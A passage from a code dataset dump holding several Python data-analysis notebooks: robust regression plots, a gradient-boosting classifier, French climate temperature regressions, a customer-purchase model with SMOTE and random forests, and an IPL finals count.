linestyles):\n model = RobustLinearRegression(estimator=est).fit(X, Y)\n b = model.w\n \n x = np.linspace(X.min(), X.max(), 10)\n y = [b[0] + b[1] * i for i in x]\n plt.plot(x, y, label=est, color=color, linestyle=style)\n\nplt.xlabel('sepal width (cm)')\nplt.ylabel('sepal length (cm)')\nplt.legend()\nplt.show()\n# -\n\n# ## 2. Потребление сигарет в 1930 и смертность от рака лёгких в 1950\n\ndf = pd.DataFrame(data = {\n 'country': ['Australia', 'Canada', 'Denmark', 'Finland', 'Great Britain', 'Iceland', 'Netherlands', 'Norway', 'Sweden', 'Switzerland', 'USA'],\n 'cigarettes consumption': [480, 500, 380, 1100, 1100, 230, 490, 250, 300, 510, 1300],\n 'deaths rates': [180, 150, 170, 350, 460, 60, 240, 90, 110, 250, 200]})\n\nX = df['cigarettes consumption'].to_numpy().reshape(-1, 1)\nY = df['deaths rates'].to_numpy()\n\n# +\nestimators = ['OLS', 'LAD', 'LMS', 'LTS', 'R', 'REWLSE']\ncolors = ['r', 'orange', 'b', 'c', 'k', 'g']\nlinestyles = ['-', '-.', '--', '-.', ':', '-']\n\nplt.figure(figsize=(14, 7))\n\nplt.scatter(x=X[:,0], y=Y)\nfor s, x, y in zip(df['country'], df['cigarettes consumption'], df['deaths rates']):\n plt.text(x = x, y = y, s = s)\n\nfor est, color, style in zip(estimators, colors, linestyles):\n model = RobustLinearRegression(estimator=est).fit(X, Y)\n b = model.w\n \n x = np.linspace(X.min(), X.max(), 10)\n y = [b[0] + b[1] * i for i in x]\n plt.plot(x, y, label=est, color=color, linestyle=style)\n\nplt.xlabel('cigarettes consumption')\nplt.ylabel('deaths rates') \nplt.legend()\nplt.show()\n# -\n\n# ## 3. Уровень ожирения и уровень счастья населения по городам\n\ndf = pd.read_csv(r'data/healthy_lifestyle.csv', index_col='rank')\ndf['obesity levels'] = df['obesity levels'].apply(lambda s: float(s[:-1]))\n\nX = df['obesity levels'].to_numpy().reshape(-1, 1)\nY = df['happiness levels'].to_numpy()\n\n# +\nestimators = ['OLS', 'LAD', 'LMS', 'LTS', 'R', 'REWLSE']\ncolors = ['r', 'orange', 'b', 'c', 'k', 'g']\nlinestyles = ['-', '-.', '--', '-.', ':', '-']\n\nplt.figure(figsize=(14, 7))\n\nplt.scatter(x=X[:,0], y=Y)\nfor s, x, y in zip(df['city'], df['obesity levels'], df['happiness levels']):\n plt.text(x = x, y = y, s = s)\n\nfor est, color, style in zip(estimators, colors, linestyles):\n model = RobustLinearRegression(estimator=est).fit(X, Y)\n b = model.w\n \n x = np.linspace(X.min(), X.max(), 10)\n y = [b[0] + b[1] * i for i in x]\n plt.plot(x, y, label=est, color=color, linestyle=style)\n\nplt.xlabel('obesity levels')\nplt.ylabel('happiness levels') \nplt.legend()\nplt.show()\n# -\n\n# ## 4. Продолжительность жизни\n\ndf = pd.read_csv(r'data/life_expectancy2002.csv')\n\nX = df['life expectancy'].to_numpy().reshape(-1, 1)\nY = df['adult mortality'].to_numpy()\n\n# +\nestimators = ['OLS', 'LAD', 'LMS', 'LTS', 'R', 'REWLSE']\ncolors = ['r', 'orange', 'b', 'c', 'k', 'g']\nlinestyles = ['-', '-.', '--', '-.', ':', '-']\n\nplt.figure(figsize=(14, 7))\n\nplt.scatter(x=X[:,0], y=Y)\n\nfor est, color, style in zip(estimators, colors, linestyles):\n model = RobustLinearRegression(estimator=est).fit(X, Y)\n b = model.w\n \n x = np.linspace(X.min(), X.max(), 10)\n y = [b[0] + b[1] * i for i in x]\n plt.plot(x, y, label=est, color=color, linestyle=style)\n\nplt.xlabel('life expectancy')\nplt.ylabel('adult mortality') \nplt.legend()\nplt.show()\n# -\n\n\n","repo_name":"avorus/robust-linear-regression","sub_path":"robust_regression.ipynb","file_name":"robust_regression.ipynb","file_ext":"py","file_size_in_byte":7828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"14570743065","text":"import numpy as np\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nimport math \n\ndf = pd.read_csv('CaseStudyData.csv')\n\ndf.head()\n\ndf.Variable5.value_counts()\n\ndf.Variable5 = df.Variable5.map({'blue':1, 'green':0})\n\ndf.Variable5.value_counts()\n\ndf.Variable8.value_counts()\n\ndf.Variable8 = df.Variable8.map({'square':0, 'round':1, 'triangle':2})\n\n# +\n#df = df.drop('Variable8',axis=1)\n# -\n\ndf.TargetVariable.value_counts()\n\ndf.Variable4.value_counts()\n\n#df.Variable4 = df.Variable4.astype('float')\ndf.dtypes\n\ndf['len'] = df.Variable4.str.len()\n\ndf.to_csv('test.csv')\n\ndf = df[df.Variable4 != ' - ']\n\ndf.Variable4 = df.Variable4.astype('float')\ndf.dtypes\n\n# +\n#df = df.drop(['Variable6'],axis=1)\n# -\n\ndf = df.sample(frac=1)\n\nfeatures = df.loc[:,'Variable1':'Variable9']\ntarget = df['TargetVariable'].values\n\n# +\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.ensemble import RandomForestClassifier as RF\nfrom sklearn.metrics import brier_score_loss\n\nX_train, X_test, y_train, y_test = train_test_split(features, target, test_size=0.30, random_state=143,stratify=target)\n# -\n\nfrom sklearn.ensemble import GradientBoostingClassifier as GB\nfrom sklearn.linear_model import LogisticRegression as LG\nfrom sklearn.linear_model import LinearRegression as Lin\n#clf = AdaBoostClassifier(GB(),\n# algorithm=\"SAMME\",\n# n_estimators=100)\nclf = GB(learning_rate=0.05, n_estimators=68)#GB(n_estimators = 100)\n#LG()\n#RandomForestClassifier(random_state=0, n_jobs=-1)\nclf.fit(X_train, y_train)\n\ny_pred = clf.predict(X_test)\naccuracy_score(y_test, y_pred)\n\n# +\nfrom sklearn.metrics import confusion_matrix\nimport seaborn as sns; sns.set()\n\nmat = confusion_matrix(y_test, y_pred)\nsns.heatmap(mat.T, square=True, annot=True, fmt='d', cbar=False)\nplt.xlabel('true label')\nplt.ylabel('predicted label');\n# -\n\nfrom sklearn import metrics\nprint(metrics.classification_report(y_pred, y_test))\n\n# +\ny_prob = clf.predict_proba(X_test)[:,1]\ny_probT = clf.predict_proba(X_train)[:,1]\n\nfrom sklearn.calibration import calibration_curve\nfraction_of_positives, mean_predicted_value = \\\ncalibration_curve(y_test, y_prob, n_bins=10)\n\nfraction_of_positivesT, mean_predicted_valueT = \\\ncalibration_curve(y_train, y_probT, n_bins=10)\n\nplt.figure(figsize=(9, 9))\nax1 = plt.subplot2grid((3, 1), (0, 0), rowspan=2)\nax2 = plt.subplot2grid((3, 1), (2, 0))\n\nax1.plot([0, 1], [0, 1], \"k:\", label=\"Perfectly calibrated\")\nax1.plot(mean_predicted_value, fraction_of_positives, \"s-\")\nax1.plot(mean_predicted_valueT, fraction_of_positivesT)\n\nax2.hist(y_prob, range=(0, 1), bins=50, histtype=\"step\", lw=2)\nax2.hist(y_probT, range=(0, 1), bins=50, histtype=\"step\", lw=2)\n# -\n\nprint(brier_score_loss(y_test, y_prob, sample_weight=None, pos_label=None))\nprint(brier_score_loss(y_train, y_probT, sample_weight=None, pos_label=None))\n\n# +\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nX_train['status'] = np.transpose(y_train)\nX_train['pred'] = np.transpose(y_probT)\n\nX_test['status'] = np.transpose(y_test)\nX_test['pred'] = np.transpose(y_prob)\n\nwith PdfPages('TeleGBM.pdf') as pdf:\n for x in X_train.columns:\n if x != 'test':\n \n X_train['test'] = pd.cut(X_train[x].rank(method='average'),10, labels=False)\n X_train1 = X_train.groupby(['test'], as_index=False).mean()\n X_test['test'] = pd.cut(X_test[x].rank(method='average'),10, labels=False)\n X_test1 = X_test.groupby(['test'], as_index=False).mean()\n fig = plt.figure(x)\n \n if x != 'status' and x != 'pred':\n \n plt.scatter(X_train1[x], X_train1.status, label = 'Train')\n plt.plot(X_train1[x], X_train1['pred'], label = 'Train_Prediction')\n plt.scatter(X_test1[x], X_test1.status, label = 'Test')\n plt.plot(X_test1[x], X_test1['pred'], label = 'Test_Prediction')\n plt.xlabel(x)\n plt.ylabel('P(app)')\n plt.legend()\n plt.title('P(app) as function of '+str(x))\n \n if x == 'pred':\n \n plt.plot([0, 1], [0, 1], \"k:\")\n plt.plot(X_train1[x], X_train1.status, 'o-', label = 'Train')\n \n plt.plot(X_test1[x], X_test1.status,'o-', label = 'Test')\n plt.xlabel('Predicted P(app)')\n plt.ylabel('Actual P(app)')\n #plt.xlim(0.2, 0.8)\n #plt.ylim(0.2, 0.8)\n plt.legend()\n plt.title('Callibration Curve for P(app)')\n \n if x == 'status':\n \n plt.hist(y_probT, range=[0, 1], bins=20, histtype=\"step\", lw=2, label = 'Train')\n plt.hist(y_prob, range=[0, 1], bins=20, histtype=\"step\", lw=2, label = 'Test')\n #plt.xlim(0.2, 0.8)\n plt.ylabel('Count')\n plt.xlabel('P(app)')\n plt.legend()\n plt.title('Histogram of P(app)')\n \n pdf.savefig(fig)\n\n# +\nfrom sklearn import metrics\n\nfpr, tpr, _ = metrics.roc_curve(y_test, y_prob)\n\nplt.plot(fpr, tpr)\nplt.plot([0,1],[0,1],'g-')\nplt.xlabel('FPR')\nplt.ylabel('TPR')\nplt.show()\nauc = metrics.auc(fpr,tpr)\nprint('auc = ', auc)\n# -\n\ndf.shape\n\n# +\nfor name, importance in zip(features, clf.feature_importances_):\n print(name, \"=\", importance)\n\nimportances = clf.feature_importances_\nindices = np.argsort(importances)\n\nplt.title('Feature Importances')\nplt.barh(range(len(indices)), importances[indices], color='b', align='center')\nplt.yticks(range(len(indices)), features[indices])\nplt.xlabel('Relative Importance')\n# -\n\nindices\n\n# +\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import permutation_test_score\n\ncv = StratifiedKFold(10)\n\nscore, permutation_scores, pvalue = permutation_test_score(clf, features.values, target, cv=cv, scoring=\"roc_auc\", n_permutations=100, n_jobs=1)\n\nprint(\"Classification score %s (pvalue : %s)\" % (score, pvalue))\n\nplt.hist(permutation_scores, 20, label='Permutation scores',\n edgecolor='black')\nylim = plt.ylim()\nplt.plot(2 * [score], ylim, '--g', linewidth=3,\n label='Classification Score'\n ' (pvalue %s)' % pvalue)\nplt.plot(2 * [1. / 2], ylim, '--k', linewidth=3, label='Luck') #2 = number of classes\n\nplt.ylim(ylim)\nplt.legend()\nplt.xlabel('Score')\n# -\n\ndf.head()\n\ndf.Variable1.hist(bins=50)\n\ndf.Variable2.hist(bins=10)\n\ndf.Variable4.hist(bins=50)\n\ndf.Variable3.hist()\n\ndf.Variable5.hist()\n\ndf.Variable6.hist(bins=10)\n\ndf.Variable7.hist()\n\ndf.Variable8.hist()\n\ndf.Variable9.hist()\n\n# !pip install jupyterlab\n\n# !pip install mlxtend\n\n# !python -m pip install --upgrade pip\n\ndf.boxplot(column='Variable2', by='TargetVariable')\n\ndf.boxplot(column='Variable4', by='TargetVariable')\n\ndf.Variable6.value_counts()\n\n# +\ndf.TargetVariable = df.TargetVariable.astype('float')\nX_trainm = pd.DataFrame()\nX_trainm1 = pd.DataFrame()\nc=0\nfor x in df.columns:\n df['test'] = pd.cut(df[x].rank(method='average'),20, labels=False)\n df1 = df.groupby(df['test']).mean()\n fig = plt.figure(x)\n fig = plt.figure()\n plt.scatter(df1[x], df1['TargetVariable'])\n plt.xlabel(x)\n plt.savefig(str(c)+'.png')\n c=+1\n \n \n# -\n\ndf.boxplot(column='Variable2', by='TargetVariable')\n\ndf['TargetVariable'].corr(df['Variable1'], method='spearman')\n\ndf['TargetVariable'].corr(df['Variable2'], method='spearman')\n\ndf['TargetVariable'].corr(df['Variable4'], method='spearman')\n\ndf['TargetVariable'].corr(df['Variable6'], method='spearman')\n\ndf.hist()\n\ndf.Variable4.hist(bins=70)\n\n\n","repo_name":"AugustsP/Tele","sub_path":"Untitled.ipynb","file_name":"Untitled.ipynb","file_ext":"py","file_size_in_byte":7747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"38737668270","text":"\n\n# +\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\n\ndf = pd.read_csv(r\"~/Desktop/TempTerre.csv\")\ndf.head()\n\n# +\nimport matplotlib.colors as mcolors\nimport numpy as np\n\n# Création de la colormap personnalisée avec des couleurs allant du bleu foncé au rouge\ncolors = [\"navy\", \"blue\", \"dodgerblue\", \"skyblue\", \"lightsteelblue\", \"lightsalmon\", \"salmon\", \"orangered\"]\ncmap = mcolors.LinearSegmentedColormap.from_list(\"custom\", colors)\n\n# Sélection des colonnes pour chaque zone géographique\ncols = ['64N-90N', '44N-64N', '24N-44N', 'EQU-24N', '24S-EQU', '44S-24S', '64S-44S', '90S-64S']\ndf_zones = df[cols]\n\n# Création du graphique en aires empilées avec la colormap personnalisée\nfig, ax = plt.subplots()\nax.stackplot(df['Year'], df_zones.T, labels=df_zones.columns, colors=cmap(np.linspace(0, 1, len(cols))))\n\n# Paramètres du graphique\nplt.title(\"Contribution de chaque zone géographique à la température globale\")\nplt.xlabel(\"Année\")\nplt.ylabel(\"Température (°C)\")\nplt.legend(loc='upper left')\n\nplt.show()\n\n\n# +\nvariations_temp_globale = df['Glob']\n\n# Calcul de la moyenne\nmoyenne = np.mean(variations_temp_globale)\n\n# Calcul de l'écart-type\necart_type = np.std(variations_temp_globale)\n\n# Calcul de la médiane\nmediane = np.median(variations_temp_globale)\n\n# Calcul du minimum et du maximum\nminimum = np.min(variations_temp_globale)\nmaximum = np.max(variations_temp_globale)\n\n# Affichage des statistiques\nprint(\"Moyenne Global:\", moyenne)\nprint(\"Écart-type Global :\", ecart_type)\nprint(\"Médiane Global :\", mediane)\nprint(\"Minimum Global :\", minimum)\nprint(\"Maximum Global :\", maximum)\n\n\n\n\n# +\n# Calcul des statistiques descriptives pour les variations de température de 64N à 90N\nvariations_64N_90N = df['64N-90N']\n\n# Calcul de la moyenne\nmoyenne = np.mean(variations_64N_90N)\n\n# Calcul de l'écart-type\necart_type = np.std(variations_64N_90N)\n\n# Calcul de la médiane\nmediane = np.median(variations_64N_90N)\n\n# Calcul du minimum et du maximum\nminimum = np.min(variations_64N_90N)\nmaximum = np.max(variations_64N_90N)\n\n# Affichage des statistiques\nprint(\"Moyenne :\", moyenne)\nprint(\"Écart-type :\", ecart_type)\nprint(\"Médiane :\", mediane)\nprint(\"Minimum :\", minimum)\nprint(\"Maximum :\", maximum)\n\n# +\n# Calcul des statistiques descriptives pour les variations de température de 90S à 64S\nvariations_90S_64S = df['90S-64S']\n\n# Calcul de la moyenne\nmoyenne = np.mean(variations_90S_64S)\n\n# Calcul de l'écart-type\necart_type = np.std(variations_90S_64S)\n\n# Calcul de la médiane\nmediane = np.median(variations_90S_64S)\n\n# Calcul du minimum et du maximum\nminimum = np.min(variations_90S_64S)\nmaximum = np.max(variations_90S_64S)\n\n# Affichage des statistiques\nprint(\"Moyenne :\", moyenne)\nprint(\"Écart-type :\", ecart_type)\nprint(\"Médiane :\", mediane)\nprint(\"Minimum :\", minimum)\nprint(\"Maximum :\", maximum)\n\n# +\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\nimport matplotlib.pyplot as plt\n\n\n\n# Extraire les variables indépendantes (le temps) et la variable dépendante (les variations de température globale)\nX = df['Year'].values.reshape(-1, 1)\ny = df['Glob'].values\n\n# Créer un objet de modèle de régression linéaire\nmodel = LinearRegression()\n\n# Entraîner le modèle sur les données\nmodel.fit(X, y)\n\n# Faire des prédictions sur les données d'entraînement\ny_pred = model.predict(X)\n\n# Afficher les coefficients du modèle\nprint('Coefficients :', model.coef_)\nprint('Intercept :', model.intercept_)\n\n# Tracer le graphique des variations de température globale au fil du temps\nplt.scatter(X, y, color='b', label='Données réelles')\nplt.plot(X, y_pred, color='r', label='Régression linéaire')\nplt.xlabel('Temps')\nplt.ylabel('Variations de température globale')\nplt.title('Modèle de régression linéaire')\nplt.legend()\nplt.show()\n\n# +\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\n\nX = df[['NHem', 'SHem', '24N-90N', '24S-24N', '90S-24S', '64N-90N', '44N-64N', '24N-44N', 'EQU-24N', '24S-EQU', '44S-24S', '64S-44S', '90S-64S']]\ny = df['Glob']\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\nmodel = LinearRegression()\n\nmodel.fit(X_train, y_train)\n\ny_pred = model.predict(X_test)\n\ny_true = y_test\n\n\nprint('Coefficients :', model.coef_)\nprint('Intercept :', model.intercept_)\n\n\n\n\n# +\n\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error, r2_score\n\n# Calcul de l'erreur quadratique moyenne (RMSE)\nrmse = np.sqrt(mean_squared_error(y_true, y_pred))\n\n# Calcul de l'erreur absolue moyenne (MAE)\nmae = mean_absolute_error(y_true, y_pred)\n\n# Calcul du coefficient de détermination (R²)\nr2 = r2_score(y_true, y_pred)\n\n# Affichage des résultats\nprint(\"RMSE:\", rmse)\nprint(\"MAE:\", mae)\nprint(\"R²:\", r2)\n\n# +\nimport matplotlib.pyplot as plt\n\n# Obtention des valeurs observées et prédites\nobserved_values = df['Glob'] # Valeurs observées\npredicted_values = model.predict(X) # Valeurs prédites par le modèle\n\n# Tracé du graphique de dispersion\nplt.scatter(observed_values, predicted_values)\nplt.xlabel('Valeurs observées')\nplt.ylabel('Valeurs prédites')\nplt.title('Graphique de dispersion - Valeurs observées vs Valeurs prédites')\nplt.show()\n\n# +\nresiduals = observed_values - predicted_values\n\n# Tracé du graphique des résidus\nplt.scatter(observed_values, residuals)\nplt.axhline(y=0, color='r', linestyle='--') # Ligne horizontale à y=0 pour référence\nplt.xlabel('Valeurs observées')\nplt.ylabel('Résidus')\nplt.title('Graphique des résidus - Valeurs observées vs Résidus')\nplt.show()\n\n# +\n# Obtention des valeurs observées et prédites\nobserved_values = df['Glob'] # Valeurs observées\npredicted_values = model.predict(X) # Valeurs prédites par le modèle\n\n# Obtention de la variable indépendante (par exemple, les années)\nindependent_variable = df['Year']\n\n# Tracé du graphique de ligne\nplt.plot(independent_variable, observed_values, label='Observé')\nplt.plot(independent_variable, predicted_values, label='Prédit')\nplt.xlabel('Variable indépendante')\nplt.ylabel('Valeurs de température')\nplt.title('Graphique de ligne - Observé vs Prédit')\nplt.legend()\nplt.show()\n\n# +\n\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\n\n# Sélection des colonnes appropriées\nindependent_vars = df[['Year']]\ndependent_var = df['Glob']\n\n# Création du modèle de régression linéaire\nmodel = LinearRegression()\n\n# Entraînement du modèle\nmodel.fit(independent_vars, dependent_var)\n\n# Prédiction des valeurs pour les 100 prochaines années\nfuture_years = np.arange(df['Year'].max() - 140, df['Year'].max() + 101)\nfuture_data = pd.DataFrame({'Year': future_years})\nfuture_predictions = model.predict(future_data)\n\n# Tracé du graphique des prédictions futures\nplt.plot(df['Year'], dependent_var, label='Observé')\nplt.plot(future_years, future_predictions, label='Prédiction future')\nplt.xlabel('Années')\nplt.ylabel('Variations de température globale')\nplt.title('Prédiction des variations globales des températures pour les 100 prochaines années')\nplt.legend()\nplt.show()\n\n\n# +\n# Tracer les valeurs observées\nplt.scatter(y_true, y_pred, color='b', label='Observé vs Prédit')\n\n# Tracer la droite d'identité (y = x) pour référence\nplt.plot([min(y_true), max(y_true)], [min(y_true), max(y_true)], color='r', label='Droite d\\'identité')\n\n# Étiquettes et titre du graphique\nplt.xlabel('Valeurs observées')\nplt.ylabel('Valeurs prédites')\nplt.title('Prédictions du modèle vs. Observations')\n\n# Légende\nplt.legend()\n\n# Afficher le graphique\nplt.show()\n\n# +\n# Calculer les résidus\nresiduals = y_true - y_pred\n\n# Tracer le graphique de dispersion des résidus\nplt.scatter(y_pred, residuals)\nplt.axhline(y=0, color='r', linestyle='--')\nplt.xlabel('Valeurs prédites')\nplt.ylabel('Résidus')\nplt.title('Graphique de dispersion des résidus')\n\n# Afficher le graphique\nplt.show()\n","repo_name":"JasonFrai/projet_rechauffement_cda","sub_path":"Observations_réchauffement_climatique/Modélisation et Analyse TempTerr.ipynb","file_name":"Modélisation et Analyse TempTerr.ipynb","file_ext":"py","file_size_in_byte":8012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"19398270948","text":"# In the final section we will attempt to model the `makes_prediction` variable using the features we devised earlier. \n#\n# This section will comprise:\n# 1. data preprocessing for modeling purposes\n# 1. modeling the target variable\n# 1. model evaluation\n#\n# We'll conclude with potential next steps to take the analysis futher.\n\n# ## Imports\n\n# +\n# %load_ext autoreload\n# %autoreload 2\n\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom numpy import ndarray\nimport pandas as pd\nfrom pandas import DataFrame\nimport seaborn as sns\n\n# data science utilities:\nfrom sklearn import preprocessing\nfrom sklearn.inspection import permutation_importance\nfrom sklearn.metrics import f1_score, confusion_matrix\nfrom sklearn.model_selection import KFold, GridSearchCV, cross_val_score, train_test_split\nfrom sklearn.utils import resample\nfrom imblearn.over_sampling import SMOTE\n\n# models:\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nimport xgboost as xgb\n\nfrom utilities import df_utils\n\nRANDOM_STATE = 5\n# -\n\n# ## Data preprocessing\n\n# We pick up where we left off in the feature engineering section: by importing the prepared features:\n\nfeatures = pd.read_csv('../data/features.csv', index_col=0)\ndf_utils.df_summarise(features)\n\n# Before we use our features for model training we need to apply some basic preprocessing steps.\n#\n# First of all, we will split our features into categorical and numerical. For categorical variables where there is no obvious ordering of the categories we will use one-hot encoding to represent the features:\n\ncategorical_cols = [\n 'rfm_segment', 'billing_zip_stem', 'segment'\n ]\ncategorical_features = pd.get_dummies(\n features[categorical_cols].astype(str),\n )\n\n# It is worth noting that the ZIP code feature in particular has a siginficant (>100) number of categories. Creating a dummy variable out of it introduces sparsity to our model. Therefore tackling this could be among the next steps for our analysis - perhaps by using a different encoding scheme, encoding the values to a more compact latent space or extracting further location details.\n#\n# As for the numerical features, we will standardise these to improve the numerical stability of the model. Note that we're considering the ordered clustering scores among the numerical variables since we established an ordinal relationship with the data. The standard scaling will be performed after the split into test and validation sets to avoid data leakage.\n\nnumerical_cols = [\n 'recency_score', 'frequency_score', 'total_revenue_score', \n 'rfm_score','recency', 'frequency', 'total_revenue'\n ] \nnumerical_features = features[numerical_cols].copy()\n\n# Next we concatenate both feature sets:\n\n# +\nmodel_features = pd.concat((\n numerical_features,\n categorical_features\n ), \n axis=1)\n\ndf_utils.df_summarise(model_features)\n# -\n\n# Then, we split the data into a training and validation set to make sure we can perform out-of-sample evaluation of the trained models:\n\n# +\ntrain_features, val_features, train_target, val_target = train_test_split(\n model_features, \n features['makes_purchase'], \n test_size=0.2, \n random_state=RANDOM_STATE\n )\n\ntrain_features = train_features.copy()\nval_features = val_features.copy()\n\n# -\n\n# Lastly, we apply scaling of the numerical features:\n\nfor feature_name in numerical_cols:\n scaler = preprocessing.StandardScaler()\n train_features[feature_name] = scaler.fit_transform(train_features[[feature_name]].values)\n val_features[feature_name] = scaler.transform(val_features[[feature_name]].values)\n\n# ## Model training\n\n# Now, we define the model suite we will be using for training purposes. As a starting point, we will be using the models out-of-the box without hyperparameter tuning:\n\nmodels = {\n 'logistic_regression': LogisticRegression(random_state=RANDOM_STATE),\n 'naive_bayes': GaussianNB(),\n 'CART': DecisionTreeClassifier(random_state=RANDOM_STATE),\n 'random_forest': RandomForestClassifier(random_state=RANDOM_STATE),\n 'xgb': xgb.XGBClassifier(use_label_encoder=False), \n}\n\n# To choose the right architecutre for the job, we will train and evaluate the models using k-fold cross validation.\n#\n# Since we are dealing with a highly imbalanced dataset, we will be using the F1 score to evaluate the models:\n\nfor model_name, model in models.items():\n kfold = KFold(n_splits=3, random_state=RANDOM_STATE, shuffle=True)\n result = cross_val_score(model, train_features, train_target, cv=kfold, scoring='f1')\n print(model_name, result, f'average score: {np.mean(result):.1%}')\n\n# Training on the imbalanced dataset spawns rather poor results - the best score of ~22% F1 can hardly be considered a good evaluation result.\n#\n# The results of the XGBoost model look most promising out of the bunch. We will attempt a basic hyperparameter tuning for xgboost using grid search:\n\n# +\nparameters = {\n 'max_depth': range(3, 8, 2),\n 'booster': ['gbtree', 'gblinear'],\n 'min_child_weight': range(1, 6, 2),\n 'lambda': [1, 2],\n}\n\ngrid_search = GridSearchCV(\n estimator=xgb.XGBClassifier(),\n param_grid=parameters,\n scoring='f1',\n n_jobs=-1,\n cv=2\n )\n\ngrid_search.fit(train_features, train_target)\ngrid_search.best_params_, grid_search.best_score_\n# -\n\n# Grid search spawned a significant improvement over the default hyperparameters.\n\n# ## Upsampling\n\n# One of the possible approaches to battle the severe class imbalance that we have in the dataset is using a sampling scheme - either oversampling or undersampling. For this excercise, we will use the Synthetic Minority Oversampling Technique (or SMOTE) to oversample the minority class. \n#\n# We could opt for using a simple oversampling scheme where we simply use minority class examples more than once but using SMOTE has the additional benefit of introducing some variation to the upsampled data which might reduce potential overfit.\n\nsmote = SMOTE(random_state=RANDOM_STATE)\nupsampled_train_features, upsampled_train_target = smote.fit_resample(train_features, train_target)\nupsampled_train_features.shape, upsampled_train_target.shape\n\n# We train the models again, this time on the upsampled dataset. We will not be using k-fold cross validation, since by upsampling we intoduce a level of data leakage into our dataset. Instead, we will compare the models using their performance on the out-of-sample validation set, again using the F1 score:\n\nfor model_name, model in models.items():\n kfold = KFold(n_splits=4, random_state=RANDOM_STATE, shuffle=True)\n trained_model = model.fit(upsampled_train_features, upsampled_train_target)\n val_predictions = trained_model.predict(val_features)\n score = f1_score(val_target, val_predictions)\n print(model_name, f'f1 val score: {score:.1%}')\n\n# Upsampling has significantly improved the results of the random forest classifier and gave it a margin over the xgboost model. Therefore we will use it for the final evaluation.\n\n# ## Evaluation\n\nmodel = RandomForestClassifier(random_state=RANDOM_STATE).fit(upsampled_train_features, upsampled_train_target)\nval_predictions = model.predict(val_features)\nf1_score(val_target, val_predictions)\n\n# Let's review the validation confusion matrix to better understand the quality of our predictions:\n\nsns.heatmap(confusion_matrix(val_target, val_predictions), annot=True);\n\n\n# Looks like the model is making a significant number of false positive predictions - roughly twice the amount of all positive ground truth examples. It is likely the upsampling scheme is not enough to battle the significant imbalance as there might not be enough positive examples in our dataset.\n#\n# Also, this is also most likely a result of improper feature engineering. To see how good our engineered features fared, let's review the feature importance.\n\n# **Feature importance**\n\n# First let's define a helper function to display and plot the results of feature importance:\n\ndef show_feature_importance(\n feature_importances: ndarray, \n model_features: DataFrame, \n top_features: int = 10\n ) -> None:\n \"\"\"\n Displays feature importance results\n \"\"\"\n mapped_feature_importances = [\n (feature_name, feature_importance ) \n for feature_name, feature_importance in zip(model_features.columns, feature_importances)\n ]\n sorted_feature_importances = sorted(mapped_feature_importances, key=lambda x: x[1], reverse=True)[:top_features]\n\n for feature_name, feature_score in sorted_feature_importances:\n print(f'{feature_name}: {feature_score:.2f}')\n\n top_feature_names = [feature[0] for feature in sorted_feature_importances]\n top_feature_scores = [feature[1] for feature in sorted_feature_importances]\n\n plt.figure(figsize=(20,10))\n plt.barh(range(len(top_feature_scores)), top_feature_scores)\n plt.yticks(np.arange(len(top_feature_names)), top_feature_names)\n plt.show()\n\n\n# Next, we can review the in-built feature importances of the random forest model based on Gini impurity:\n\nfeature_importances = model.feature_importances_\nshow_feature_importance(feature_importances, model_features)\n\n# Looks like the original `segment` features seem to be playing the most important role. Out of the features devised by us earlier, `recencys` stands out, which is intuitive.\n#\n# To complete the picture, we'll use another feature importance estimation method called permutation score - this one is agnostic of the model architecture used.\n\nresults = permutation_importance(model, val_features, val_target, scoring='f1')\nfeature_importances = results.importances_mean\nshow_feature_importance(feature_importances, model_features)\n\n# Our earlier observations of `segment` based features playing the most important role are confirmed. Also, the relative importance of `recency` is visible.\n\n# ## Potential next steps\n\n# As shown above, our features and modelling approach spawns results that can certainly still be improved. Among possible next steps we could consider:\n#\n# * further feature engineering to identify features with higher correlation with the target variable. Especially exploring the possibilities of enhancing the `segment` variable seem reasonable\n# * improvements in the data preprocessing stage, in particular in handling high dimensional categorical variables\n# * using a different modelling approach: since the majority class is so significantly dominant, perhaps using outlier detection techniques (e.g. autoencoders, DBSCAN, isolation forest)\n","repo_name":"TomaszKaleczyc/customer_order_prediction","sub_path":"src/03_MODELING.ipynb","file_name":"03_MODELING.ipynb","file_ext":"py","file_size_in_byte":10646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"11298196838","text":"# +\nimport numpy as np\nimport pandas as pd\ndata=pd.read_csv('matches - matches.csv')\nk=data.drop_duplicates([\"season\"],keep='last')[['season','team1','team2']].sort_values('season')\n\n\n\n# +\nk # team those has played the final\n\n\n\n# +\n# Now finding out total team as there are two team team1 and team 2 so we have add both the team\n# for doing i ve used append function\n\nl=k.team1.append(k.team2)\nl\n\n# +\n##now counting total number of the played final \n# for doing i used value_counts() fn.\n\nl.value_counts()\n\n# +\n## as per question we require only top three team so i will use head fn.\n\nl.value_counts().head(3)\n# -\n\n\n","repo_name":"shubham40/Assignment-9","sub_path":"Assignment 9.ipynb","file_name":"Assignment 9.ipynb","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"30712938278","text":"import numpy as np\nimport pandas as pd\nfrom datetime import timedelta, date\nimport time\nimport re\nimport requests\nfrom bs4 